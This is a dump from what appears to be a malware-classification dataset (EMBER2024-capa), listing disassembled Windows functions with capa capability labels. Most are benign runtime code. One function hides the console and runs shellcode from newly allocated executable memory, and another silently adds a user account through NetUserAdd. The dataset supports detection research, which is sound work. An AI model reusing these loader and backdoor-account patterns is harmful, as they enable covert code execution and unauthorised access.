joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140010390
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x530
mov rax, qword [0x140019080]
xor rax, rsp
mov qword [rsp + 0x520], rax
xor ebx, ebx
mov rdi, rdx
mov esi, ecx
test rdx, rdx
je 0x1400103fc
lea edx, [rbx + 0x2d]
mov rcx, rdi
call sub.msvcrt.dll_strchr
test rax, rax
je 0x1400103fc
mov ecx, ebx
lea r8, [rsp + 0x120]
mov rdx, rdi
nop dword [rax]
movsx eax, byte [rdx]
test al, al
je 0x14001044f
mov word [r8], ax
inc ecx
add r8, 2
inc rdx
cmp ecx, 0x100
jne 0x1400103e0
mov rcx, qword [0x14001a0d8]
test rcx, rcx
jne 0x140010432
call fcn.140011330
mov rcx, rax
lea rdx, str.setlocale
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
mov qword [0x14001a0d8], rcx
cmp rcx, 0xffffffffffffffff
cmovne rbx, rcx
test rbx, rbx
je 0x140010533
mov rdx, rdi
mov ecx, esi
call rbx
jmp 0x140010535
movsxd rax, ecx
add rax, rax
cmp rax, 0x200
jae 0x14001055a
mov edx, 0x2d
mov word [rsp + rax + 0x120], bx
lea rcx, [rsp + 0x120]
call sub.msvcrt.dll_wcsrchr
test rax, rax
je 0x1400103fc
mov r9d, 0xff
lea r8, [rsp + 0x320]
mov edx, 0x1001
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
je 0x1400103fc
lea ecx, [rax - 1]
mov r9d, 0x100
movsxd rdx, ecx
lea r8, [rsp + 0x320]
sub r9d, eax
mov ecx, 0x5f
cdqe
mov word [rsp + rdx*2 + 0x320], cx
mov edx, 0x1002
lea rcx, [rsp + 0x120]
lea r8, [r8 + rax*2]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
je 0x1400103fc
lea rcx, [rsp + 0x320]
mov eax, ebx
lea rdx, [rsp + 0x20]
movzx r8d, word [rcx]
test r8w, r8w
je 0x140010523
mov byte [rdx], r8b
inc eax
inc rdx
add rcx, 2
cmp eax, 0x100
jne 0x140010501
jmp 0x1400103fc
cdqe
lea rdi, [rsp + 0x20]
mov byte [rsp + rax + 0x20], bl
jmp 0x1400103fc
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.14000c3c0
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14000cac8
int3

Function at 0x140010ab0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140010b12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140010b12
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140010b12
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x140010b12
cmp dword [rdx + 0x84], 0xe
jbe 0x140010b12
cmp dword [rdx + 0xf8], 0
je 0x140010b12
mov ecx, ebx
call fcn.140010970
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14001a108]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1400107f0
cmp dword [rsp + 0x60], 0
jne 0x140010b55
mov ecx, ebx
call fcn.140010920
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140010ba0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140010bfc
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140010bfc
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140010bfc
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140010bfc
cmp dword [rcx + 0x84], 0xe
jbe 0x140010bfc
cmp dword [rcx + 0xf8], 0
je 0x140010bfc
mov ecx, ebx
call fcn.140010970
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x14001a108]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1400107f0
cmp dword [rsp + 0x60], 0
jne 0x140010c3f
mov ecx, ebx
call fcn.140010920
int3
add rsp, 0x40
pop rbx
ret
Function at 0x1800010c0
Capabilities:
Add user account

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rsp + 0x260], rax
movups xmm0, xmmword [str.Mndt14351435___]
movzx eax, word [0x180003200]
mov ebx, edx
movups xmm1, xmmword [0x1800031f0]
xor edx, edx
mov r8d, 0xde
lea rcx, [rsp + 0x82]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
mov word [rsp + 0x80], ax
call sub.VCRUNTIME140.dll_memset
lea rcx, str.test0
call fcn.180001060
movsd xmm0, qword [str.mndt]
lea rcx, [rsp + 0x16a]
movzx eax, word [0x180003218]
xor edx, edx
mov r8d, 0xf6
movsd qword [rsp + 0x160], xmm0
mov word [rsp + 0x168], ax
call sub.VCRUNTIME140.dll_memset
test ebx, ebx
je 0x180001237
sub ebx, 1
je 0x18000118d
sub ebx, 1
je 0x180001181
cmp ebx, 1
jne 0x180001243
lea rcx, str.test9
jmp 0x18000123e
lea rcx, str.test8
jmp 0x18000123e
mov eax, dword [0x180004634]
lea rcx, str.test1
call fcn.180001060
xor eax, eax
lea rcx, str.test2
xorps xmm0, xmm0
mov dword [rsp + 0x30], eax
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x54], eax
call fcn.180001060
lea rcx, str.test3
mov dword [rsp + 0x34], 1
call fcn.180001060
lea rcx, str.test4
mov dword [rsp + 0x48], 0x10000
call fcn.180001060
lea rax, [rsp + 0x60]
lea rcx, str.test5
mov qword [rsp + 0x28], rax
call fcn.180001060
lea rax, [rsp + 0x160]
lea rcx, str.test6
mov qword [rsp + 0x20], rax
call fcn.180001060
xor r9d, r9d
lea r8, [rsp + 0x20]
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
lea rcx, str.test7
jmp 0x18000123e
lea rcx, str.test10
call fcn.180001060
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180001280
add rsp, 0x270
pop rbx
ret
Function at 0x401414
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [0x0041f074], 1
mov dword [0x0041f078], 1
mov dword [0x0041f07c], 1
mov dword [0x0041f340], 1
lea rax, [0x00400000]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x401466
mov eax, 0
jmp 0x401513
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x401492
mov eax, 0
jmp 0x401513
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x4014b8
cmp eax, 0x20b
je 0x4014df
jmp 0x40150e
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x4014cb
mov eax, 0
jmp 0x401513
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x401513
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x4014fa
mov eax, 0
jmp 0x401513
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x401513
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x401680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x4c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x3a0], xmm6
movaps xmmword [rbp + 0x3b0], xmm7
movaps xmmword [rbp + 0x3c0], xmm8
movaps xmmword [rbp + 0x3d0], xmm9
movaps xmmword [rbp + 0x3e0], xmm10
movaps xmmword [rbp + 0x3f0], xmm11
movaps xmmword [rbp + 0x400], xmm12
movaps xmmword [rbp + 0x410], xmm13
movaps xmmword [rbp + 0x420], xmm14
movaps xmmword [rbp + 0x430], xmm15
mov dword [rbp + 0x490], ecx
mov qword [rbp + 0x498], rdx
lea rax, [dbg.__gxx_personality_sj0]
mov qword [rbp - 0x30], rax
lea rax, [0x00414b20]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x3a0]
mov qword [rax], rdx
lea rdx, [0x0040188b]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg._Unwind_SjLj_Register
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [rbp - 0x58], 1
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rdx, [rbp + 0x10]
lea r8, [0x0041b020]
mov eax, 0x6f
mov rdi, rdx
mov rsi, r8
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov word [rbp + 0x390], 0xfc
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x378
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x398], rax
movzx eax, byte [rbp + 0x390]
mov byte [rbp + 0x10], al
mov rax, qword [rbp + 0x398]
lea rdx, [rbp + 0x10]
mov r8d, 0x378
mov rcx, rax
and ecx, 1
test rcx, rcx
je 0x4017dd
movzx ecx, byte [rdx]
mov byte [rax], cl
add rax, 1
add rdx, 1
sub r8d, 1
mov rcx, rax
and ecx, 2
test rcx, rcx
je 0x4017fa
movzx ecx, word [rdx]
mov word [rax], cx
add rax, 2
add rdx, 2
sub r8d, 2
mov rcx, rax
and ecx, 4
test rcx, rcx
je 0x401815
mov ecx, dword [rdx]
mov dword [rax], ecx
add rax, 4
add rdx, 4
sub r8d, 4
mov ecx, r8d
shr ecx, 3
mov ecx, ecx
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, 0
mov r9d, r8d
and r9d, 4
test r9d, r9d
je 0x401847
mov r9d, dword [rdx]
mov dword [rax], r9d
add rcx, 4
mov r9d, r8d
and r9d, 2
test r9d, r9d
je 0x401861
movzx r9d, word [rdx + rcx]
mov word [rax + rcx], r9w
add rcx, 2
and r8d, 1
test r8d, r8d
je 0x401871
movzx edx, byte [rdx + rcx]
mov byte [rax + rcx], dl
mov rax, qword [rbp + 0x398]
mov dword [rbp - 0x58], 1
call rax
mov eax, 0
mov dword [rbp + 0xc], eax
jmp 0x4018a5
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg._Unwind_SjLj_Unregister
mov eax, dword [rbp + 0xc]
movaps xmm6, xmmword [rbp + 0x3a0]
movaps xmm7, xmmword [rbp + 0x3b0]
movaps xmm8, xmmword [rbp + 0x3c0]
movaps xmm9, xmmword [rbp + 0x3d0]
movaps xmm10, xmmword [rbp + 0x3e0]
movaps xmm11, xmmword [rbp + 0x3f0]
movaps xmm12, xmmword [rbp + 0x400]
movaps xmm13, xmmword [rbp + 0x410]
movaps xmm14, xmmword [rbp + 0x420]
movaps xmm15, xmmword [rbp + 0x430]
add rsp, 0x4c8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x40a634
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
lea rcx, [0x0041f400]
mov rax, qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
call rax
mov rax, qword [0x0041f4f8]
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x28]
mov rax, qword [rbp - 8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x40a6cc
mov rax, qword [rbp - 0x28]
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], rdx
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x28], rdx
lea rdx, [0x0041f400]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
call rax
jmp 0x40a6e5
mov rax, qword [rbp + 8]
mov qword [0x0041f4f8], rax
mov rax, rbp
add rax, 8
mov qword [0x0041f498], rax
mov rax, qword [0x0041f4f8]
mov qword [0x0041f370], rax
mov rax, qword [rbp + 0x10]
mov qword [0x0041f480], rax
mov dword [0x0041f360], 0xc0000409
mov dword [0x0041f364], 1
mov rax, qword [0x0041ae50]
mov qword [rbp - 0x20], rax
mov rax, qword [0x0041ae60]
mov qword [rbp - 0x18], rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
lea rcx, [0x00415b50]
mov rax, qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov edx, 0xc0000409
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x40a7cb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
push rbx
sub rsp, 0x68
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0
jmp 0x40a860
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, rcx
mov rax, qword [rax + 8]
cmp rax, qword [rbp + 0x10]
ja 0x40a85c
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, rcx
mov rcx, qword [rax + 8]
mov r8, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, r8
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 8]
mov eax, eax
add rax, rcx
cmp rax, qword [rbp + 0x10]
ja 0x40a9fb
add dword [rbp - 0x14], 1
mov eax, dword [0x0041f8e8]
cmp dword [rbp - 0x14], eax
jl 0x40a7e1
mov rcx, qword [rbp + 0x10]
call sym.__mingw_GetSectionForAddress
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x40a893
mov rdx, qword [rbp + 0x10]
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
lea rdx, [rcx + rax]
mov rax, qword [rbp - 0x20]
mov qword [rdx + 0x10], rax
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, rcx
mov dword [rax], 0
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
lea rbx, [rcx + rax]
call sym._GetPEImageBase
mov rdx, qword [rbp - 0x20]
mov edx, dword [rdx + 0xc]
mov edx, edx
add rax, rdx
mov qword [rbx + 8], rax
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, rcx
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x50]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQuery]
call rax
test rax, rax
jne 0x40a984
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, rcx
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r8, rdx
mov edx, eax
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
call sym.__report_error
mov eax, dword [rbp - 0x2c]
cmp eax, 0x40
je 0x40a9ec
mov eax, dword [rbp - 0x2c]
cmp eax, 4
je 0x40a9ec
mov rcx, qword [0x0041f8e0]
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
add rax, rcx
mov rcx, rax
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x50]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x40a9ec
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
call sym.__report_error
mov eax, dword [0x0041f8e8]
add eax, 1
mov dword [0x0041f8e8], eax
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x40ab28
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp - 4], 0
cmp qword [rbp + 0x20], 0
je 0x40ac12
mov rcx, qword [rbp + 0x10]
call sym.mark_section_writable
lea rax, [rbp - 0x40]
mov r8d, 0x30
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQuery]
call rax
test rax, rax
jne 0x40ab8b
mov r8, qword [rbp + 0x10]
mov edx, 0x30
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
call sym.__report_error
mov eax, dword [rbp - 0x1c]
cmp eax, 0x40
je 0x40abc3
mov eax, dword [rbp - 0x1c]
cmp eax, 4
je 0x40abc3
mov dword [rbp - 4], 1
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x40]
lea rcx, [rbp - 0x44]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call sym.memcpy
cmp dword [rbp - 4], 0
je 0x40ac12
mov eax, dword [rbp - 0x1c]
cmp eax, 0x40
je 0x40ac12
mov eax, dword [rbp - 0x1c]
cmp eax, 4
je 0x40ac12
mov ecx, dword [rbp - 0x44]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x40]
lea r8, [rbp - 0x44]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
nop
add rsp, 0x70
pop rbp
ret

Function at 0x40b0c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x40b0e8
mov eax, 0
jmp 0x40b136
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x40b111
mov eax, 0
jmp 0x40b136
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x40b131
mov eax, 0
jmp 0x40b136
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x40b13c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x40b1ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp rax, qword [rbp + 0x18]
ja 0x40b1b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp rax, qword [rbp + 0x18]
jbe 0x40b1b1
mov rax, qword [rbp - 8]
jmp 0x40b1cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp eax, dword [rbp - 0xc]
ja 0x40b184
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x40b836
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x0041f948]
test eax, eax
je 0x40b8c4
lea rcx, [0x0041f920]
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x0041f950]
mov qword [rbp - 8], rax
jmp 0x40b8ab
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x40b89f
cmp qword [rbp - 0x10], 0
je 0x40b89f
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rdx, qword [rbp - 0x10]
mov rcx, rdx
call rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x40b865
lea rcx, [0x0041f920]
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x40b8c5
nop
add rsp, 0x30
pop rbp
ret

Function at 0x40ba00
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40ba31
xor edx, edx
mov ecx, eax
mov dword [global___key.0], eax
call sym.__mingwthr_key_dtor
test eax, eax
sete al
movzx eax, al
mov dword [0x00415b80], eax
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40ba1e

Function at 0x40bad0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
mov rdx, rcx
mov ecx, dword [global___key.0]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x40baf0
add rsp, 0x28
ret
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x28
jmp rax

Function at 0x40bb60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov eax, dword [0x00415b80]
mov rbx, rcx
test eax, eax
js 0x40bbe0
test eax, eax
jne 0x40bb93
mov rax, qword [0x0041f978]
mov qword [0x0041f978], rbx
mov qword [rbx], rax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov ebp, dword [global___key.0]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
call rsi
mov edi, eax
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rbx], rbp
mov rdx, rbx
mov ecx, dword [global___key.0]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x40bb8a
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rdx
call dbg.fc_key_init_once
mov eax, dword [0x00415b80]
jmp 0x40bb75

Function at 0x40bbf0
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [0x00415b80]
mov rbx, qword [rcx]
test eax, eax
js 0x40bc20
test eax, eax
jne 0x40bc13
mov qword [0x0041f978], rbx
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp sym._Unwind_SjLj_SetContext.part.1
call dbg.fc_key_init_once
mov eax, dword [0x00415b80]
jmp 0x40bc02
Function at 0x40bdd0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov eax, dword [0x00415b80]
mov rbx, rcx
test eax, eax
js 0x40beb0
test eax, eax
mov rdi, qword [0x0041f978]
jne 0x40be50
test rdi, rdi
mov qword [rsp + 0x30], rdi
je 0x40be42
lea rsi, [rsp + 0x30]
mov r8, rdi
mov r10, qword [r8 + 0x30]
test r10, r10
je 0x40be30
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, qword [rbx]
mov edx, 1
mov ecx, 1
call r10
cmp eax, 6
je 0x40be73
cmp eax, 8
jne 0x40bea1
mov r8, qword [rsp + 0x30]
mov r8, qword [r8]
test r8, r8
mov qword [rsp + 0x30], r8
jne 0x40be05
mov eax, 5
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov edi, dword [global___key.0]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x40bdf3
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0x10], 0
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x30], rdi
mov qword [rbx + 0x18], rax
call dbg._Unwind_RaiseException_Phase2
cmp eax, 7
jne 0x40be47
mov rcx, rsi
call sym.uw_install_context.isra.2
mov eax, 3
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
call dbg.fc_key_init_once
mov eax, dword [0x00415b80]
jmp 0x40bde8

Function at 0x40bec0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rbx, rcx
mov ecx, dword [0x00415b80]
test ecx, ecx
js 0x40bf50
test ecx, ecx
mov rsi, qword [0x0041f978]
jne 0x40bf10
mov qword [rbx + 0x10], rdx
lea rdx, [rsp + 0x30]
mov qword [rbx + 0x18], r8
mov rcx, rbx
mov qword [rsp + 0x30], rsi
call dbg._Unwind_ForcedUnwind_Phase2
cmp eax, 7
je 0x40bf74
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov esi, dword [global___key.0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x40bedf
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r8
call dbg.fc_key_init_once
mov ecx, dword [0x00415b80]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x40bed4
lea rcx, [rsp + 0x30]
call sym.uw_install_context.isra.2
nop
nop